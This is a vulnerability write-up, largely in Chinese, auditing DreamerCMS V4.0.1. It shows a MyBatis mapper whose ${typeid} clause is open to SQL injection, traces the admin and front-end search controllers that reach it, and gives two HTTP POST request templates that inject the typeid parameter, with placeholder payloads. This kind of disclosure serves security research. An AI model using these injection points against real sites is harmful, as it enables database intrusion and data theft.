Ref#
DreamerCMS V4.0.1
Tips: 原始项目已跑路, 该仓库为我的一个 fork, 选择 fuzz 分支或者对应的标签
DreamerCMS V4.0.1 代码审计1
DreamerCMS V4.0.1 代码审计2
Vulnerables#
SQL Injection#
${typeid}注入#
dreamer_cms/src/main/resources/mapping/ArchivesMapper.xml
<select id="queryListByKeywords" parameterType="java.util.Map" resultType="cn.itechyou.cms.vo.ArchivesVo">
select
a.id
, a.title
, a.properties
, a.image_path imagePath
, a.tag
, a.description
, a.category_id categoryId
, a.category_ids categoryIds
, a.comment
, a.subscribe
, a.clicks
, a.weight
, a.status
, a.create_by createBy
, a.create_time createTime
, a.update_by updateBy
, a.update_time updateTime
, CASE WHEN a.category_id = '-1' THEN '顶级栏目' ELSE c.cnname END AS categoryCnName
, CASE WHEN a.category_id = '-1' THEN 'Top Column' ELSE c.enname END AS categoryEnName
from system_archives a
LEFT JOIN system_category c ON a.category_id = c.id
where 1 = 1
<if test="keywords != null and keywords != ''">
and title like concat('%',concat(#{keywords,jdbcType=VARCHAR},'%'))
</if>
<if test="typeid != null and typeid != ''">
and c.code in (${typeid})
</if>
</select>可以看到 ${typeid} 为潜在注入点
使用 IDE 寻找调用接口
cn.itechyou.cms.dao.ArchivesMapper#queryListByKeywordscn.itechyou.cms.service.impl.ArchivesServiceImpl#queryListByKeywordscn.itechyou.cms.controller.admin.SearchController#doSearch
cn.itechyou.cms.taglib.tags.PageListTag#parsecn.itechyou.cms.taglib.ParseEngine#parsePageListcn.itechyou.cms.controller.FrontController#search
admin/search/dosearch, 即 admin 模式下的全局搜索功能
@RequestMapping("/doSearch")
public String doSearch(Model model ,SearchEntity params) {
if(params.getEntity() == null) {
Map<String,Object> entity = new HashMap<String,Object>();
params.setEntity(entity);
}
PageInfo<ArchivesVo> archives = archivesService.queryListByKeywords(params);
model.addAttribute("keywords", params.getEntity().containsKey("keywords") ? params.getEntity().get("keywords") : "");
model.addAttribute("archives", archives);
return "admin/search/result";
}只需要注入 key 值为 typeid 即可
POST /admin/search/doSearch HTTP/1.1
entity%5B%27typeid%27%%5D=SQL_INJECTION/search, 前台搜索功能
@RequestMapping(value = "/search")
public void search(Model model, SearchEntity params) throws CmsException {
System system = systemService.getSystem();
StringBuffer templatePath = new StringBuffer();
Theme theme = themeService.getCurrentTheme();
String templateDir = fileConfiguration.getResourceDir() + "templates/";
if(theme == null) {
}
templatePath.append(theme.getThemePath());
templatePath.append("/search.html");
if(params.getPageNum() == null)
params.setPageNum(1);
if(params.getPageSize() == null)
params.setPageSize(10);
try {
Map<String, Object> entity = params.getEntity();
if(entity == null || !entity.containsKey("keywords")) {
throw new FormParameterException(
ExceptionEnum.FORM_PARAMETER_EXCEPTION.getCode(),
ExceptionEnum.FORM_PARAMETER_EXCEPTION.getMessage(),
"请仔细检查Form表单参数结构,正确参数格式应该包含entity['keywords']、pageNum、pageSize。");
}
String keywords = params.getEntity().get("keywords").toString();
if(keywords.getBytes("GBK").length < 3) {
throw new FormParameterException(
ExceptionEnum.FORM_PARAMETER_EXCEPTION.getCode(),
ExceptionEnum.FORM_PARAMETER_EXCEPTION.getMessage(),
"搜索关键字不能少于5个字符,请重新输入后进行搜索。");
}
String path = templateDir + templatePath;
File template = new File(path);
if(!template.exists()) {
throw new TemplateNotFoundException(
ExceptionEnum.TEMPLATE_NOTFOUND_EXCEPTION.getCode(),
ExceptionEnum.TEMPLATE_NOTFOUND_EXCEPTION.getMessage(),
"请仔细检查" + template.getAbsolutePath() + "文件,或检查application.yml中的资源目录配置项(web.resource-path)。");
}
String newHtml = "";
String html = FileUtils.readFileToString(template, "UTF-8");
//如果为静态浏览,则生成页面
if(2 == system.getBrowseType()) {
newHtml = parseEngine.generate(html);
}else {
newHtml = parseEngine.parse(html);
}
newHtml = parseEngine.parsePageList(newHtml, params);
//记录搜索关键词
SearchRecord sr = new SearchRecord();
sr.setId(UUIDUtils.getPrimaryKey());
sr.setKeywords(keywords);
sr.setCreateTime(new Date());
searchRecordService.add(sr);
//输出HTML
outHtml(newHtml);
} catch (IOException e) {
throw new TemplateReadException(
ExceptionEnum.TEMPLATE_READ_EXCEPTION.getCode(),
ExceptionEnum.TEMPLATE_READ_EXCEPTION.getMessage(),
"请仔细检查模版文件,或检查application.yml中的资源目录配置项(web.resource-path)。");
}
}可以看出有一定的约束条件, 需要保留 keyword
POST /search HTTP/1.1
entity%5B%27keywords%27%5D=qwert&entity%5B%27typeid%27%5D=')SQL_INJECTION